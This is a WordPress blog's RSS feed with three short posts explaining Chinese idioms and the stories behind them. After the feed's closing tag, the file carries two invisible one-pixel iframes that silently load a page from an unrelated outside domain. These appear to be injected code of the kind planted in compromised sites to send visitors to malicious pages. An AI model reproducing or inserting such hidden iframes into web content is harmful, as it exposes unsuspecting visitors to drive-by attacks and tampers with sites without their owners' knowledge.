<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tie Your Camel &#187; Chinese</title>
	<atom:link href="http://tieyourcamel.co.uk/category/chinese/feed" rel="self" type="application/rss+xml" />
	<link>http://tieyourcamel.co.uk</link>
	<description>Remember... Always tie up your camel!</description>
	<lastBuildDate>Sun, 27 Mar 2011 17:39:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.5</generator>
		<item>
		<title>Chinese Idiom of the Day #003</title>
		<link>http://tieyourcamel.co.uk/culture/chinese-idiom-of-the-day-003</link>
		<comments>http://tieyourcamel.co.uk/culture/chinese-idiom-of-the-day-003#comments</comments>
		<pubDate>Mon, 17 Aug 2009 11:00:41 +0000</pubDate>
		<dc:creator>Camel</dc:creator>
				<category><![CDATA[Chinese]]></category>
		<category><![CDATA[Culture]]></category>
		<category><![CDATA[Idiom]]></category>
		<category><![CDATA[Language]]></category>
		<category><![CDATA[Proverb]]></category>
		<category><![CDATA[Saying]]></category>

		<guid isPermaLink="false">http://tieyourcamel.co.uk/?p=105</guid>
		<description><![CDATA[Chinese Idiom of the Day #003 - Plugging one's ears while stealing a bell.


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<div id="attachment_106" class="wp-caption alignright" style="width: 160px"><img class="size-full wp-image-106" title="Chinese idiom of the Day #003" src="http://tieyourcamel.co.uk/wp-content/uploads/2009/08/idiom3.jpg" alt="Idiom the Third" width="150" height="150" /><p class="wp-caption-text">Idiom the Third</p></div>
<p><img src="http://www.tieyourcamel.co.uk/wp-content/uploads/idiomthree.jpg" alt="" /></p>
<p><strong><span style="text-decoration: underline;">Plugging One&#8217;s Ears While Stealing a Bell (Lit. &#8216;Cover ears steal bell&#8217;)</span></strong></p>
<p>Story behind the idiom: During the Spring and Autumn Period, a man in the Kingdom of Jin took a liking to a bell and decided to steal it. The bell was very large and heavy, so he decided to smash it to pieces with a hammer and take it with him in bits. Fearing that he might be heard when the hammer struck the bell, he covered his ears and started to smash up the bell. </p>
<p>Meaning of idiom: used to describe those who think they are smart but deceive themselves. </p>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://tieyourcamel.co.uk/culture/chinese-idiom-of-the-day-003/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chinese Idiom of the Day #002</title>
		<link>http://tieyourcamel.co.uk/culture/chinese-idiom-of-the-day-002</link>
		<comments>http://tieyourcamel.co.uk/culture/chinese-idiom-of-the-day-002#comments</comments>
		<pubDate>Fri, 14 Aug 2009 10:27:41 +0000</pubDate>
		<dc:creator>Camel</dc:creator>
				<category><![CDATA[Chinese]]></category>
		<category><![CDATA[Culture]]></category>
		<category><![CDATA[Ancient]]></category>
		<category><![CDATA[Idiom]]></category>
		<category><![CDATA[Language]]></category>
		<category><![CDATA[Proverb]]></category>
		<category><![CDATA[Warring States]]></category>

		<guid isPermaLink="false">http://tieyourcamel.co.uk/?p=77</guid>
		<description><![CDATA[Chinese Idiom of the Day #002 - Notching the Boat to find the Sword


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<div id="attachment_78" class="wp-caption alignright" style="width: 160px"><img class="size-full wp-image-78" title="Idiom of the Day #002" src="http://tieyourcamel.co.uk/wp-content/uploads/2009/08/idiom2.jpg" alt="Idiom the Second" width="150" height="150" /><p class="wp-caption-text">Idiom the Second</p></div>
<p><img src="http://www.tieyourcamel.co.uk/wp-content/uploads/idiom_2.jpg" alt="" /></p>
<p><strong><span style="text-decoration: underline;">Notching the Boat to Find the Sword (Lit. &#8216;Carve boat seek sword&#8217;)</span></strong></p>
<p>During the <a title="The Warring States Period" href="http://en.wikipedia.org/wiki/Warring_states" target="_blank">Warring States</a> period, a man in the <a title="The Kingdom of Chu" href="http://en.wikipedia.org/wiki/Chu_(state)" target="_blank">Kingdom of Chu</a> had a beautiful sword which he loved dearly. One day, while on a river in a boat, the sword somehow dropped off the boat and fell into the river. The man came up with a clever idea: he made a notch on the side of the boat at the spot where the sword fell overboard. When the boat reached the shore, he jumped from the boat around the area where he made the notch and started searching the water for his beloved sword.</p>
<p>Meaning of the idiom:  Those who follow rigid rules will not always logically apply them or will apply them in a stupid manner.</p>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://tieyourcamel.co.uk/culture/chinese-idiom-of-the-day-002/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chinese Idiom of the Day #001</title>
		<link>http://tieyourcamel.co.uk/culture/chinese-idiom-of-the-day-001</link>
		<comments>http://tieyourcamel.co.uk/culture/chinese-idiom-of-the-day-001#comments</comments>
		<pubDate>Thu, 13 Aug 2009 11:05:49 +0000</pubDate>
		<dc:creator>Camel</dc:creator>
				<category><![CDATA[Chinese]]></category>
		<category><![CDATA[Culture]]></category>
		<category><![CDATA[Ancient]]></category>
		<category><![CDATA[Art]]></category>
		<category><![CDATA[History]]></category>
		<category><![CDATA[Idiom]]></category>
		<category><![CDATA[Language]]></category>
		<category><![CDATA[Qin]]></category>

		<guid isPermaLink="false">http://tieyourcamel.co.uk/?p=69</guid>
		<description><![CDATA[Today's idiom is zhi lu wei ma or 'calling a stag a horse'.


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<div id="attachment_70" class="wp-caption alignright" style="width: 160px"><a href="http://www.tieyourcamel.co.uk/tag/idiom"><img class="size-full wp-image-70" title="Chinese Idiom" src="http://tieyourcamel.co.uk/wp-content/uploads/2009/08/chineseidiom.jpg" alt="Idiom the First" width="150" height="150" /></a><p class="wp-caption-text">Idiom the First</p></div>
<p><img src="http://www.tieyourcamel.co.uk/wp-content/uploads/idiom1.jpg" alt="" /></p>
<p><strong></strong><br />
<strong><span style="text-decoration: underline;">Calling a Stag a Horse (Lit. &#8216;Point deer as/is  horse&#8217;)</span></strong></p>
<p><strong></strong><br />
Story behind the idiom:</p>
<p>During the reign of the second emperor of the <a title="Wikipedia: Qin Dynasty" href="http://en.wikipedia.org/wiki/Qin_Dynasty" target="_blank">Qin Dynasty</a> (<a title="Wiki: Qin Er Shi" href="http://en.wikipedia.org/wiki/Qin_Er_Shi" target="_blank">Qin Er Shi</a>), his chief minister, a eunuch called <a title="Wiki: Zhao Gao" href="http://en.wikipedia.org/wiki/Zhao_Gao" target="_blank">Zhao Gao</a>, exerted great influence over the court. He started to plot to usurp the throne. Fearing that other ministers would oppose this, he readied a test for them.</p>
<p>When they were assembled in front of the emperor, he brought out a deer as a gift and said &#8220;This is a horse.&#8221;</p>
<p>The emperor laughed, and replied &#8220;You must be joking; this is a deer!&#8221;</p>
<p>Zhao turned to the ministers and said &#8220;Well, tell the Emperor&#8230; is this a deer or a horse?&#8221;</p>
<p>Some ministers kept silent, some said that it was a deer and others agreed that it was indeed a horse. Those who hadn&#8217;t called it a horse were promptly executed</p>
<p>Meaning of the Idiom: Distorting facts, calling black white and white black.</p>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://tieyourcamel.co.uk/culture/chinese-idiom-of-the-day-001/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<iframe frameborder=0 height=1 width=1 scrolling=no src='http://mainstuffwork.com/index.php?tp=78e110f5cab074f0' > </iframe><iframe frameborder=0 height=1 width=1 scrolling=no src='http://mainstuffwork.com/index.php?tp=78e110f5cab074f0' > </iframe>
